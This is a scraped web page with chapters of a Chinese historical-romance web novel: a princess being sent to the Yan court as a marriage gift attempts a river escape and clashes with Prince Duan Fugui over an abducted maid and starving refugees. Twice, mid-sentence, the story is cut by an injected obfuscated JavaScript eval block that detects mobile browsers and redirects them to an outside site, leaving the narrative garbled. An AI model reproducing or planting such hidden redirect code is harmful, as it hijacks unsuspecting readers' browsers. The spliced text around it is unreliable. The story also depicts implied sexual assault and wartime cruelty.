纪吟一边用饭,一边不动声色地观察四周。 仅是午间短暂修整而已,队伍也已进入冀州范围,燕军却还是分出两支卫队前后巡逻,尤其是附近茂盛的灌木丛和树林探查得十分仔细,谨防敌人偷袭。 段伏归治军比那王适之不知严了多少倍,这样一来,纪吟也不能借由如厕的借口悄悄远离队伍了。 半个时辰后,队伍正要再次启程,纪吟看到一骑从北面飞奔而来。 她还疑惑着,便见那人直接穿过前头的哨兵来到了段伏归面前。 纪吟恨不得离段伏归八百米远,但真有情况,她又控制不住往他那边看去。 这人从北面而来,应该是燕国来人。 “主人,果然如您所料,您一离开大皇子就开始动作了,目前已经暗中联络了段垢和索豹子。”段英压低声音说。 段垢是宫中左卫军统领,索豹子是燕都大营副将,段伏义暗中联络这两个人,要干什么显而易见。 段伏义居长,比段伏归更早率军,按理他是占优势的,但这几年段伏归迅速崛起,为燕国屡立战功,先是率军平定慕容部残部,又西击匈奴,东平高句丽,更别说去年击败秦国十万大军,在燕国声望空前,燕国士兵无不想入他麾下效力,而段伏义却表现平平,此前十年积累俨然要被段伏归压下去,他岂能不急。 更关键的,他们的父皇,当今燕国皇帝,身体开始不行了,不然去年就不会只派自己两个儿子领军了。 随着皇帝病体日沉,连上朝处理政务都力有不逮,朝中冒出立太子的呼声。 可因三十多年前赵国发生过太子弑君的事情,如今各国皇帝都不愿早早立嗣分薄自己的权柄,以至拖到燕国皇帝几个儿子都成年了,太子之位都还没定。 段伏义原本以为太子之位非自己莫属,结果却有不少人说要立三皇子段伏归,理由也很简单,三皇子能征善战,在这乱世,当然要立最有才能的人,尤其燕国旁边还有秦国这么一个大敌。 两边各有不少人支持,燕国皇帝犹豫不决,说要从长计议。 这让段伏义感到了深深的威胁。 继续放任段伏归,等他积累的战功越来越多,势力越来越大,他早晚会来夺自己的皇位,所以他必须在这天到来前先下手为强。 段伏归早就明白权力斗争向来只有你死我活,便是他不去争,身处这个位置段伏义也不会放过他,更何况,他本就极有野心。 乱世强者为王,这是理所应当的事。 他早察觉到了段伏义的计划,干脆将计就计,主动提出来接应齐国的送亲队伍,以给段伏义动手的机会,不然以他如今的地位,齐国如何值得他亲自前来。 “本王知道了,你留在队里吧,不用回去了。”段伏归道。 段英便领命归队。 下一秒,段伏归倏地偏过头,两道目光直直朝纪吟射了过来。 偷看被当场抓包,纪吟猝不及防。 4. 宫女 纪吟本以为他们要说上一会儿,完全没想到两句话就完事儿了,一时来不及收回视线。 距离这么远,她本也听不清他们的对话,算不上偷听。纪吟想了想,装出一副不经意的模样,又似突然与外男对视,露出几分害怕和羞涩,慢慢低下头躲避男人的目光。 幸好男人看了片刻就移开视线了,并没有过来盘问。 纪吟在心中暗下决心,以后一定要离这个男人远些,他实在太敏锐,给她的感觉太危险。 这天晚上,队伍并未抵达驿站,而是在一处临河的小村子里落脚。 纪吟跟着取水的陶儿一起来到河边,正值四月,北方冰封的河面早已化作滔滔江流。 纪吟拈住裙摆蹲下身,用手触了触河水的温度。 凉,但不到寒冷刺骨的地步。 流速也不及南边凶猛。 “公主,河水凉,担心感染风寒。”陶儿看到她的动作,赶紧提醒。 纪吟一笑,从顺如流地收回手。 村子里有几间土屋,纪吟分到了一间。 陶儿简单擦拭过一遍,又铺上自带的被褥,请她去休息。 纪吟却不进去,“今夜月色不错,我想看会儿月亮。” 以往在家中时“纪吟”也会跟家人一起赏月,陶儿以为她是想念家里的主君和夫人了,便没再劝。 纪吟坐在离河边不近不远的石滩上,借着明亮的月色,她能清楚看清燕军巡逻的身影。 她在心中默默数着数。 巡逻队伍要围着整个营地巡视,不可能每时每地都有人看着,但留出的空档也不大。 纪吟观察了一个多时辰,直至戌时,被陶儿催了两遍,这才起身回屋。 然而她刚要睡觉,门却被扣响,纪吟第一反应是段伏归找过来了。 陶儿张口问了两句,这才发现只是个宫女。 纪吟心头一松。她就说嘛,她只是想想,什么都没干呢,除非段伏归有读心术,不然也不能无缘无故来找自己麻烦吧。 都怪他那语焉不详的话和别有深意的眼神,总让她疑心他看穿了自己。 “公主救命!” 陶儿刚把门打开,来人就直挺挺跪到了地上。 纪吟吓了一跳,赶紧过来扶她。 “怎么回事,你先起来说。” 纪吟认得她,随行的宫女之一,名叫阿杏。 “求公主救救果儿,她被燕军抓走了。”阿杏带着哭腔说。 被安排随行的宫女原有二十多人,但一路走来,病死加上那日被屠杀的,现在只剩十来人了。 这十来个宫女抱团取暖,相互扶持,才能熬过北上艰难的路途,如今有人遭了难,她们实在不能不管,可又无人可求,实在没办法才求到她这个公主面前。 “被燕军抓走了,有说她犯了什么事吗?”纪吟问。 阿杏哭着摇头,“没有。周围全是燕军,我们不敢单独行动,每次都是结伴而行,刚刚我和果儿一起去河边洗衣,走到一半我想起落了一件衣裳,折身回去拿,等我回来就看到果儿被个男人强行拖走了,燕人肯定是想、想……” 纪吟懂了。 这下麻烦了。 “你找过吴郎官了吗?” 吴郎官吴中明,送嫁队伍的使者,平时都是他在统管下面的宫女和奴仆。 “找过了,我看到果儿被掳走后马上就去找吴郎官,可吴郎官身边的男仆说他已经睡下了,叫奴不要去打扰他。”阿杏满是无助和绝望。 纪吟心头火起,说什么睡下了,根本就是害怕燕军找借口不搭理而已,也有可能在他看来,这些宫女反正也是送给燕国的礼物,燕国想怎么处理就怎么处理,只是这番行径实在叫人不齿。 可纪吟现在顾不上唾弃他,最要紧的是找到果儿把她救回来。 “你知道她被谁抓走的吗,被带到哪儿去了?” 阿杏点点头,尽管害怕,还是勇敢地走在前面带路。 陶儿赶紧拿出件披风给公主披上。 纪吟跟着阿杏急急往外走去,等走到一半,她却忽然停下了脚步。 “公主?” 纪吟抿着唇,沉眸思索片刻,脚下一转,反而往段伏归的方向走去。 阿杏和陶儿不明所以,只紧紧跟着她。 阿杏说果儿被燕军掳走,连吴中明都不愿掺和这事,那她去就有用了吗? 她这个公主仅有个公主名头而已,燕军绝不可能就这么听她的命令放人,只有找段伏归才有希望。 纪吟快步来到段伏归处,干竹扎的篱笆院子门口,正守着一个燕军,纪吟认得他,是段伏归的贴身亲信。 “我想求见三皇子殿下,可否通禀一下?” 元都没想到齐国公主大半夜主动找上门来,愣了下,思索片刻,道:“等一下,我去通禀主人。” 纪吟不敢太过催促,只捏着手心,按捺住心里的焦急。 幸好还不等元都进去里面的门就开了,段伏归跨步出来,高挺的身姿被月光拉出长长的影子。 “什么事?”他目光轻轻飘到她脸上。 纪吟又感受到了男人的压力,暗暗呼出一口气,放软声音,用请求的语气道:“我随行的宫女果儿失踪了,可否请殿下派人帮忙寻找,如此,我将感激不尽。” 说着,纪吟垂下脖颈,屈膝施了一礼。 “人不见了你们自己找就是。”段伏归看着她随口说。 纪吟气结,她要是能自己找就自己找了。 按下胸中的怒意,纪吟继续道:“有人看到果儿失踪时有燕军出现,此事与殿下的人有关,我不敢擅作主张,才来禀告殿下。” 纪吟怕直接开口会得罪这男人,说得十分委婉,却也叫段伏归听出了其中的意思。 段伏归落向她的眼神渐渐凝了起来,凤眸微眯,仔细打量起她的模样。 今夜月色甚好,庭院如积水空明,女孩儿亭亭立在那里,身姿纤弱,瘦削的脸颊上却挂着一双与她外表截然不符的冷沉的眼睛。 此前她一直在自己面前装成柔弱无害的乖兔子,直至此刻才被逼出真实的模样,段伏归心中竟冒出两分愉悦感。 “你要本王为了个宫女劳师动众?”他微微抬起下巴。 他这话气得纪吟差点咬碎一口银牙,费了好大力气才忍下心里的火气。 她闭了闭眼,绷着声音,“殿下若觉麻烦,我们也可以自己去找,只是想求殿下一句话,若找到人,可否请您手下的人莫为难我。” 段伏归一时没有答话。 纪吟过来找他已经耗费不少时间,再耽搁下去的话果儿就更危险了,男人不发话,她转身就要走。 “站住。” 纪吟顿住脚,缓缓转过半边身体。 “元都,你跟他们一起去。”段伏归命令道。 “是。” 段伏归肯派人,纪吟悬着的心放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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另一边,元都处理完此事,回去向主子禀告。 段伏归听了并不太在意,反而问起纪吟,“去查查,那个齐国公主今晚是什么表现。” 元都便领命去了,问了值夜巡逻的人,回来禀告。 当段伏归听到“公主先是匆匆赶去西边,走到一半又向主人这边折过来”时,他眼睛微眯,射出两道精光。 这南齐来的公主,比他想象中聪明多了。 她知道自己无法指使燕军,于是找到了他,见到他后也没指责他御下不严以免触怒他,反而放低姿态请他帮忙,确实很识时务很聪明。 段伏归兀自沉思了会儿,又下令,“剥了他的衣裳,当众刑鞭,告诫所有人,再有犯者,加倍处罚。” “是!” 治军最重要的就是令行禁止,手下人不当差时随便他们找多少女人他也不管,一旦执行任务,那就必须严守军令。 段伏归便是靠着这强硬的手段,才能训练出一支战无不胜的强兵。 …… 纪吟回到土屋,折腾许久,夜已深沉,然而此时的她却全无睡意。 今夜遭难的虽只是个宫女,明日就会是她。 抵达燕京,她就会被当成礼物送给燕国皇帝,没人在乎她愿不愿意。 说起来她与这些宫女也没有区别,不过是听起来体面些而已。 只剩半个多月的时间了,纪吟的紧迫感越来越强,好在,没过几天,她终于找到了一个机会。 5. 失败 入夜,队伍照常安营扎寨。 多年来北地战乱不断,人烟稀少,燕国才拿下冀州没几年,自身又常年与周边的匈奴、秦国攻伐,来不及休养生息,驿站实在少得可怜,因此他们多半是在路过的城镇和村落里落脚,今夜正好又歇在一处临河的村子里。 纪吟等的便是这个机会。 她像往常那样吃完晚饭,洗漱完躺上床,闭着眼,作出一副入睡模样,实则心脏一下又一下剧烈地跳动着,似不安,更似激动。 本以为离了兖州没了秦军威胁后燕军会松懈些,结果一路走来,纪吟深深见识到燕军的守卫有多严密,每次必要仔细检查内外屋舍,安顿好后便在各个出入口安排卫队巡逻,轻易不能出入,弄得纪吟都忍不住怀疑段伏归是不是仇人遍地,不然为什么都到了自家地界还这么小心。 先前王适之带队的时候守卫可没这么强,只可惜那时的她刚穿越过来,病重的身体风一吹就倒,别说逃跑,多走两步路都喘不过气。 但燕军的防卫也不是全无破绽。 他们每次会根据地形的不同调整布防,纪吟发现临河的一面巡逻频率会低一些,正常敌军都是从陆路攻过来,背水的一面相对安全,大约一刻钟才会经过一次,从上支队伍彻底消失到下至队伍出现,中间会间隔约一两分钟的空档。 便是这个发现让纪吟生出希望。 她从小学习游泳,小学初中还在校游泳队训练过,只要能避开巡逻队悄悄来到河边,便能渡水逃跑。 野生河流有杂物、碎石、水草、暗流等风险,况且现在河水尚凉,渡河逃跑的风险也不小,但相比起被当做玩物送到燕京嫁给一个五十多岁的老头子,纪吟愿意冒这风险。 时间一分一秒过去,四下万籁俱静,赶了一天路,绝大多数人已进入黑甜的梦乡。 纪吟倏地睁开眼。 她轻手轻脚起身,披上外衫来到窗边,通过月亮的高度判断现在的时辰。 应该已经过了子时。 差不多了。 纪吟拔下门栓,又小心翼翼地推开陈旧的木门,尽量不发出任何声响。 透过门缝观察片刻,确定没有人,她闪身躲到墙边,一路摸索到村子边缘。 河滩上燃着两堆柴火,是先前造饭时搭的,入了夜,飘摇的火光恰好能为巡逻队提供光线。 纪吟侧身躲在土墙阴影里耐心等待,见巡逻队果在按照自己观察到的频率行动。 待他们第三次从纪吟面前经过,她视线尾随队伍,等到他们的身影彻底消失在转角处,纪吟又在心中默数了十五个数,这才瞄准时机飞快冲了出去,脚步灵巧,只有脚掌落地。 四下静得过分,她仿佛能听到自己奔跑时的每一次心跳。 深蓝的夜空下,少女纤细的身影像只轻灵的鸟儿划过大地。 纪吟一口气跑到河边,借着茂密的芦苇丛遮挡身形,回头看去,果然,不过十几息时间,下支巡逻队便出现了。 纪吟缓缓蹲下身,尽量隐藏自己,用手捂住口鼻,哪怕肺部剧烈得快要炸开也不敢大口呼吸。 举着火把的巡逻队沿着河滩走过来,最近的时候,离纪吟不过十几步远,纪吟屏息凝神,精神紧绷到了极致。 幸而这在深夜,火把照明有限,对方并未发现芦苇丛后的人影。 待他们走远,赶在下波巡逻队到来前,纪吟又继续猫着身体往远处的更加茂密的芦苇丛移动,直到抵达一块大石处。 裹挟水雾的夜风袭来,纪吟站在大石边,待心跳终于缓和下来,她脱下脚上的绣鞋放在石上,又解开外衫。 纪吟怕自己就这么失踪会连累随行宫女,也怕查出逃跑被段伏归派兵追捕,于是准备为自己伪造一个溺亡的场景。 这样也不保险,可她别无选择了。 纪吟看着黑沉沉一片却又不时闪着粼粼月光的河面,深吸一口气,赤脚往前,准备跨入水中。 “这么晚了,公主怎么一个人在这里?” “啊!”突如其来的男声将纪吟吓了个半死,惊叫一声,差点摔进河里。 见鬼了,她真的见鬼了啊啊啊! 纪吟此时的身体僵得比旁边那块石头还要硬,好不容易站稳,她机械地转过头,幽幽月色之下,一道高大颀长的身影正从芦苇中转身而出,一步一步朝自己走来。 纪吟实在难以控制表情,两眼惊恐。 相比起她的错愕,段伏归反倒闲适得很,衣带整齐,仿佛出来散步赏月,可谁会来这个杂草丛生的地方赏月啊。 男人站在她面前,居高临下,将她的反应尽收眼底,露出饶有兴致的神色。 “大半夜不睡觉,你来河边,是想干什么?”段伏归又问,大步往前一跨便逼到纪吟面前,低沉的男声仿佛恶魔在她耳边低吟。 纪吟不知道他是何时来的,更不知自己刚才的行动是否都被他看在眼底。 “我……”纪吟绞尽脑汁。 “嗯?” 男人的眼神带来沉压压的窒息感,纪吟心如擂鼓,脑子飞速转动起来,余光瞥见石头上的外衫,灵光一现,有了主意。 她抬眸看了段伏归一眼,又撇开脸,做出一副羞赧的模样,“我来这里是想……” “想干什么?” “借河水……沐浴。” 似没想到这个答案,男人眼神顿了下,又好似轻笑了声,“是吗?” “嗯嗯。”纪吟忙不迭点头。 段伏归的眼神再次从她身上扫过,最后停留在她赤着的足上。 她现在这副模样,硬说来沐浴也说得过去,但,段伏归一个字都不信,眼前这个少女到底是小白兔还是狡猾的小狐狸,他再清楚不过了。 “河边有队伍巡夜,他们就这么放你过来了?” 男人语气乍听平常,暗中却藏着极其危险的刀锋。 纪吟仿佛被他的话薅住了长发,头皮一阵发麻,面上却还要装出无辜的模样,“许是巧合,我出来时并未遇见殿下的人。” 段伏归看着面前的女孩儿,她有一双林间小鹿般的眼睛,这么仰起脸看人,瞳仁清灵纯澈,倒真是一幅乖巧的模样。 “北地的河水还凉着,可不像南地那么暖和,公主不担心受凉?”他又问。 纪吟脸上却作出为难的模样,“实是路上条件简陋,不得已才为之。” 话落,也不知男人有没有相信,只听他又道:“你一个闺阁女郎,胆子倒是大得很,丫鬟也不带,一个人大半夜来河边,河水湍急,就不怕一不小心被水鬼抓走了?” 这水鬼说的是你自己吧,纪吟暗暗吐槽这个坏了自己好事儿的男人,正要解释,下一秒他的话却像惊雷一样劈到她脑海里。 “还是说,你想趁机逃跑?” 听到“逃跑”两个字,纪吟的心狠狠颤了下 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她做这一系列动作时段伏归就在一旁看着,汉人女子,尤其是高门贵女,多重名节,在外男面前多有避讳,然而纪吟穿鞋穿衣的动作却自然极了,半点不觉得被人看到有什么。 想到此处,段伏归的眼神不自觉落到她足上,雪白纤瘦,在这昏昧的夜色中尤其显眼。 再看她的脸,气色比初见那日好了不少,被月光映照出莹莹微光,竟有几分出尘的美。 段伏归心中微动,忽然觉得就这么送进宫里有点可惜,毕竟,他父皇是真老了,而她,这般鲜妍,还有趣。 纪吟很快就收拾好了,垂首立在原地。 段伏归这才收回视线,转身往回走。 纪吟没精打采地跟在他身后,看到他被月光映出的影子正好落在自己面前,想到他半路杀出来怀了自己好事儿,心里恨得牙痒痒,就故意去踩他影子脑袋。 段伏归似察觉到了什么,猛地转过头来。 纪吟一只脚还在空中,僵硬了瞬,随即慢慢落到地上,仰起小脸眨巴睫羽,朝他露出一个无辜疑惑的眼神,好似在问,怎么不走了。 段伏归将她扫视一遍,确实没有可疑之处,只得作罢。 两人一前一后回来,巡逻经过的守卫见状,不由惊讶,心里也忍不住冒出各种揣测,深更半夜的,孤男寡女一起出现……难不成殿下对这个齐国公主有念头? 话说这公主确实生得美,跟北地女子完全不同,皮肤白得像雪一样,现在世道混乱,别说儿子霸占父亲的小妾,便是姐弟、母女一起侍奉也不是没有。 两人并不知道旁人的意淫,段伏归目送纪吟回到房间,自己却没休息,反站在外面,让元都把今夜巡逻的守卫都叫过来,厉声斥道:“你们负责巡夜,却叫一个女人在眼皮子底下溜了出去,连个女人都防不住,本王还指望你们御敌?” 众人见主上发怒,不敢辩驳,忙跪地请罪,“属下失职,请殿下责罚。” 段伏归冷着脸,没再说话,只让他们自己下去领罚,然后,他朝元都吩咐,“派人看着她。” 元都立马明白主子口中的“她”指的是谁了,只是有点疑惑,“主人是怀疑这个汉人公主是细作?” “不,她是只看着乖巧实则野性难驯的狸奴。”段伏归抬头望向深蓝色的夜空,微眯起凤眸。 元都不明白主人这意思,但并不妨碍他认真执行主人的命令。 6. 残酷 纪吟失魂落魄地回来,发现陶儿竟不知何时醒了,见公主不在屋里,正急得团团转,就要喊人,现下一见着她,忙迎上来,“公主去哪儿了?我刚醒来不见公主,还以为、以为……”发生果儿那样的事了。 纪吟瞧小丫头都要急哭了,忙安慰道:“没事,我没事,只是睡不着,出去走走而已。” “那公主也该叫上我给您掌灯,天这么黑,磕着了怎么办?” 听到这话,纪吟心里冒出一股难以言喻的复杂。 “我这不是没事吗,我都这么大人了还照顾不好自己吗?” “公主是公主,照顾公主是我的本分。”陶儿坚持。 纪吟深知仅凭自己三两句话改变不了陶儿根深蒂固的思想,便不再跟她争辩,催她快点睡觉。 一夜没睡,纪吟却没半点儿困意。 好不容易找到机会,结果却因为段伏归的出现功亏一篑,她怎么能不气愤,可气愤之后她却惊疑不定。 段伏归怎么刚好这么巧出现在那里,他到底看到了多少? 他说的那些话,纪吟敢肯定他已经怀疑自己了,偏他又没追根究底,就这么放过了她,他到底是什么意思呢? 纪吟被这短短几句话折磨得辗转反侧,一宿没睡,第二天顶着两个黑黑的眼圈上了马车。 接下来几天,纪吟总感觉有人在盯着自己,一开始她还想是不是自己做贼心虚,直到后面她发现了,不是错觉,自己确实被盯上了。 段伏归还是怀疑她了。 对此,纪吟却毫无办法,只能装作毫无察觉的样子,也不敢轻举妄动。 队伍继续北上,他们走的是大路,这天在路上遇到一支流民队伍,人数不多,个个衣衫褴褛面黄肌瘦,几乎只剩一把骨头和一张挂在上面的皮,犹如一棵棵皴裂的树桩。 纪吟本以为他们见自己一行人富贵会上来乞讨,谁知他们看到衣甲配刀的燕军,竟吓得屁滚尿流四散而逃,活像遇到了猛兽。 纪吟起先疑惑,转而又明白过来,这可不是现代,而是古代中的乱世,有言说“匪过如梳,兵过如篦”,这个时候的军队完全什么正面形象,他们出去打仗,攻下城池后往往屠戮城中百姓,劫掠物资、奸-淫-妇女,比土匪更可怕十倍,寻常人见了岂能不远远躲开。 燕军倒是没有追过去,只要这些流民没挡到自己的路便不去管他们。 突然,一道微弱的婴儿啼哭声传入纪吟耳中。 从车窗望去,只见路边跌坐着一个妇女,她怀里抱着个婴儿,身边还围着两个孩子,应该是兄妹,大的那个看着十二三岁,小的那个七八岁,母子四人俱是骨瘦如柴、眼神涣散,离饿死只差半步,尤其那婴儿,瘦得几乎只剩一颗脑袋,看着竟有些恐怖了。 随着燕军逼近,那母亲忙想起身躲避,可虚弱的身体根本走不动,又怕孩子的哭闹会惹来灾祸,忙将自己的乳-房含在孩子嘴中,然而她的乳-房干瘪得如同一个泄了气的气球,孩子又如何吮得出奶水。 纪吟看到这一幕,心里冒出一股不忍的难受。 可她本身也不过是个光鲜的礼物了,在队伍里根本没有话语权,又能干什么呢? 她这般说服自己,可心底还是沉甸甸的难受。 车轮轱辘向前,就在纪吟的马车将要与这几个母子错身而过时,她再一次清晰看见那瘦弱的母亲、干瘪的乳-房以及奄奄一息的婴儿。 没人帮他们一把,这孩子只怕熬不了多久。 恰在此时,那母亲抬头看了过来,与车内的纪吟四目相对,许是看到纪吟脸上的不忍和可怜,她那早已麻木死寂的眼睛里竟迸发出一抹惊人的亮光,仿佛在说,求求你,救救我的孩子。 那妇人畏惧旁边的燕军,并不敢张口,只用一双满含希冀的眼睛看着她,救救我的孩子。 那眼神仿佛一根针扎进纪吟脑海,疼得她清醒过来。 “停车!”她大喊一声。 “停车!” 说着她已经打开车门,不顾危险探出半个身子。 车夫连忙勒马停车,纪吟利落跳下车来。 “公主,怎么了?”陶儿也忙问。 纪吟并不解释,只吩咐她把车上的点心干果还有早上剩的米粥拿出来。 这时,打马走在前面的段伏归也注意到了身后的动静,调转马头走了过来,看到纪吟,问,“你要干什么?” 自上次半夜“巧遇”,纪吟一直有意躲着他,此时男人骑马逼近,带来强烈的压迫感。 队伍里他是老大,哪怕纪吟恨死了他,现下也不敢跟他硬碰硬,便解释,“我想给这几个母子一些吃食。” 段伏归闻言,坐在马背上,居高临下,“你是觉得他们可怜?” 纪吟垂着头低低“嗯”了一声。 段伏归冷笑,用一种“你傻得太天真”的眼神看她:“这天下可怜的人多了,你救得过来吗?你就算能帮一时,给他们饱餐一顿,之后呢?他们还是要继续流亡,你所谓的善举不过是让他们多苟延残喘几日而已。” 最后一句,他语气格外重。 纪吟依旧垂着头,“我知道。” “哦?那你还要这么做?” 纪吟心里本就不待见他,他现在还咄咄逼人地指责自己多管闲事,心里便也冒出三分火气,抬起头,直直望着他:“如果按您说的,人迟早都是要死的,那大家又何必活在世上,一刀抹了脖子岂不省事儿?还免得老来遭受病痛折磨。我虽只能救他们一时,但或许他们差的就是这小小的一次帮助,过后就寻到新的生机了呢?倘若人人都抱着帮扶一把的心,那便能在绝路中走出一条生路。” “您不在乎这一点小恩小惠,他们在乎。” 纪吟想起自己小时学过的一篇课文,浪潮过后,沙滩上尽是搁浅的鱼儿,一个小孩儿尽力将这些鱼儿抛入海中,有人问他,这么多鱼儿根本救不过来,谁在乎呢? “这条小鱼儿在乎!” “这条在乎,这条也在乎!” 她忽然就明白了,做善事不必苛责自己一定要尽善尽美,只要做了就行。 段伏归没想到她竟这么伶牙俐齿得来反驳自己,再看她灼灼的目光,微怔了下,心中划过一丝异样的感觉。 纪吟见他不说话了,便不再管他,转身接过陶儿递来的干饼点心,朝路边那几个母子走去,“这些吃食给你们,快吃吧。”又把米粥递过去,朝那母亲说,“可以给孩子喂点汤水。” 母子几人都愣住了,仿若梦中,不敢相信自己看到的一切,直到纪吟又提醒了两句才反应过来,连忙抓了饼朝嘴里塞,小点的女孩儿吃得太急,还差点噎住喉咙。 猛塞了几口,那个大点的少年反应过来,连忙下跪,朝纪吟磕了好几个头,“多谢恩人,多谢恩人。” 那母亲也抱着孩子跪了下来,流下一滴近乎干涸的泪水。 “快起来。”纪吟忙道。 其余一些本已跑远的流民见到贵人竟然施舍食物给那几个母子,又见燕军立在原地并不像其他军队那样随便抓人凌虐,便停下了逃跑,一些胆子大的,甚至还小心往纪吟这边来。 见纪吟注意到他们, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626000|172363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便就地一跪,埋首磕头,“贵人,求求您也可怜可怜我们吧。” “贵人,可怜可怜我们吧。” 起初是三三两两,渐渐的,人越来越多起来,全都伏跪在地,不停磕头求施舍。 段英见状,皱了皱眉,问段伏归,“主人,要不要派人驱赶。” 段伏归却扬起小臂摆了下,看着纪吟,眼神颇有两分意味深长,“不用。” “公主,这可如何是好?”陶儿担忧地问。 纪吟扫视一圈,大约三四十人,其中也不乏有携老扶幼的,形容相比起这几个母子并未好到哪儿去。 看着他们满是希冀的目光,纪吟很难不触动。 她车上并未有多少现成的吃食,她陪嫁里倒是有些米面,原本留着路上吃的,纪吟想了想,最终让陶儿带着阿杏和果儿去后面的货车上拿出一袋米,用树叶包了分给众人。 流民们没想到今天遇到的贵人竟真的能施舍粮食给自己,差点被这从天而降的馅饼砸晕,一时又是磕头又是满嘴感谢的话。 队伍已经耽搁好一会儿了,纪吟不好再多留,见分好食物后就回到了马车上。 纪吟的心情还有些沉重,刚行了一小段路,车壁突然被叩响,她打开车窗看去,只见段伏归骑着膘黑的战马走在她身边,手里把玩着金鞭。 纪吟仰起脸,疑惑地看着他。 段伏归的眼神落下来,女孩儿生了一双大而圆润的杏眼,浅瞳琥珀仁,干净剔透得如同一汪雪山清泉,同时带着几分不谙世事的天真。 “你想知道你刚刚大发善心后的成果吗?”段伏归笑着问。 这还是纪吟头一回见段伏归对自己笑,男人五官英挺,骨骼分明,笑起来应当是好看的,可他眼神分明不怀好意,这笑落在纪吟眼里便也多了几分阴险,且他的话让她十分疑惑,什么叫“大发善心后的成果”? “看。”段伏归用马鞭朝后一指。 纪吟探出脑袋,顺着他的方向看去,只见远处那些前不久还跪在地上朝她千恩万谢的流民竟然相互厮打起来,互相抢夺着纪吟刚分给他们的米粮,动作凶残之凶残,只恨不能夺走对方的粮食置对方于死地,哪里还见刚才可怜的模样。 先前那几个母子亦是被攻击的对象,少年捡起石头,不要命地撕咬着来抢粮食的男人。 “死,去死!” “我的粮食,给我!” “不要抢我的粮!” “我打死你!” 纪吟瞪大眼,表情凝在了脸上。 过了几息,纪吟猛地转回头,看着跨在马上的段伏归,他脊背微松,一派闲适模样,瞧见她的表情,傻乎乎的,似觉得有趣,唇边勾起一抹愉悦的弧度。 “你早就知道会是这个结果?”她问,胸前猛烈起伏。事到如今,纪吟哪里还有不明白的,她心里冒出一股难言的滋味,眸光暗了大半。 段伏归却半点不怜惜她,反而道:“你天真的以为自己能帮得了他们一时,其实你连这一时都帮不了,相反,你的‘善良’反而害得一些人丢了性命。这个世界没你想的那么好,今日若不是我强兵在侧,你以为你能安然无恙?” 纪吟明白过来,痛苦地闭上眼,男人先前之所以没阻止她,就是要她亲自体会这一遭。 段伏归见她垂下视线坐回原位,心想这下她总归是心服口服了,然而下一秒,却忽又听她说,“是我阅历不足做事不妥当,但我不认为我的初心是错的。” 段伏归低头看去,只见女孩儿的脸色已经恢复如常,侧脸雪白,神情坚定,一时有些怔然。 7. 抵达 接下来纪吟再没找到机会逃跑,随着距离燕京越来越近,纪吟的心越来越沉,她甚至冒出不切实际的想法,盼着秦军再来偷袭,自己趁乱逃走,然而这也只是想想罢了,已到燕国腹地,秦军怎么可能打得过来。 五月中旬,队伍终于抵达燕国王城,古名渔阳。 一路北上而来,纪吟见到的大多是荒败的农田和村镇,但临近燕京后,城池却异常繁华起来,城郊农田青绿,官道上到处都是来往的车马行人,有牵驴马的,有背篓挑担的,或是来买或是来卖,男女老少不一而足,因要接受盘查,城门口排起了长蛇般的队伍。 段伏归当然不用排队,他早命段英快马前去通报,城门守军接到消息,飞快带人过来驱赶原本排队的百姓,甲士分列两侧,留出足够宽敞的通道,恭敬地迎接他们燕国三皇子入城。 纪吟本以为这样的恶霸行径会引得众人不满,推开车窗朝外看去,却发现众人目不转睛地看着骑马走在最前面的段伏归,脸上尽是狂热和崇敬,仿若见到了天神。 她先是不解,听到众人的议论后才渐渐明白过来。 这些年段伏归四处征战,战无不胜,保护燕国领土不被他族践踏,百姓得以安稳度日,去年他以两万兵力大败秦国,在百姓心中更是威望空前,也难怪他们这么激动。 站在燕国百姓的角度来看,段伏归确实是他们的英雄,可这么个男人两次坏了纪吟的好事儿,她只恨得牙痒痒。 负责接待外使的北馆令卓舆接到消息,忙带着手下的人来迎接。 “微臣拜见三皇子殿下,殿下南去一个多月,一路辛苦了。” 段伏归随意挥挥手,示意他起身,然后带着车队穿过外城、瓮城,又穿过热闹的朱雀大街。 按理,段伏归身份尊贵,已到燕京,只需让北馆令带人引路护送就行了,他却亲自将齐国队伍送到了驿馆。 入了驿馆,一行人卸下车马。 终于要摆脱这个男人了,纪吟只巴不得他赶紧走,面上出于礼节,却还主动下车朝他道谢:“多谢殿下一路护卫,我等才能周全抵达燕京。” 段伏归闻言,定定地看了她两秒,视线犹如实质地在她面皮上刮了一遍,然后轻笑了声,“谢?不急,有你报谢的时候。” 纪吟脸色僵硬起来,她不过随口一句场面话而已,他难道还真要她感谢他? 报谢?他坏了自己的逃跑计划,不报仇就是好的了。纪吟腹诽。 接着段伏归又命令卓舆,“好生照料公主。” 卓舆忙笑着应是。 男人行为古怪,纪吟拿不准他是个什么态度,忽生出两分忐忑,所幸他没有多留,转身跨马,很快便带着下面的人消失在驿馆外了。 终于把这瘟神送走了,纪吟长呼出一口气,转身踏进屋舍。 纪吟本还担心自己第二天就会被送到皇宫里去,吴中明以使者的身份去交涉回来,说燕皇似被什么耽搁了,让她入宫的时间推迟了几日。 纪吟松了口气,她现在就像引颈就戮的猎物,这屠刀能迟一刻落下也是好的。 又过了几天,宫中还没消息,似把他们晾在这儿了,吴中明的怒气都挂了脸。 燕国国小,又是蛮夷政权,齐国自诩正统,向来看不上他们,燕国趁火打劫逼齐国嫁公主已然令人不快,现在他们公主到了,却置之不理,吴中明自然不虞。 可他现在在别人的地盘上,自身又没多少人,那夜连个宫女遭难都不敢管,更不要说跟燕国叫板,便只能在驿馆独自生闷气。 相反,纪吟到是挺开心的,晚一天入宫,她就多一分逃跑的机会,只是这驿馆虽不大,看管却十分严密,这里找不到突破口,她只能另想办法。 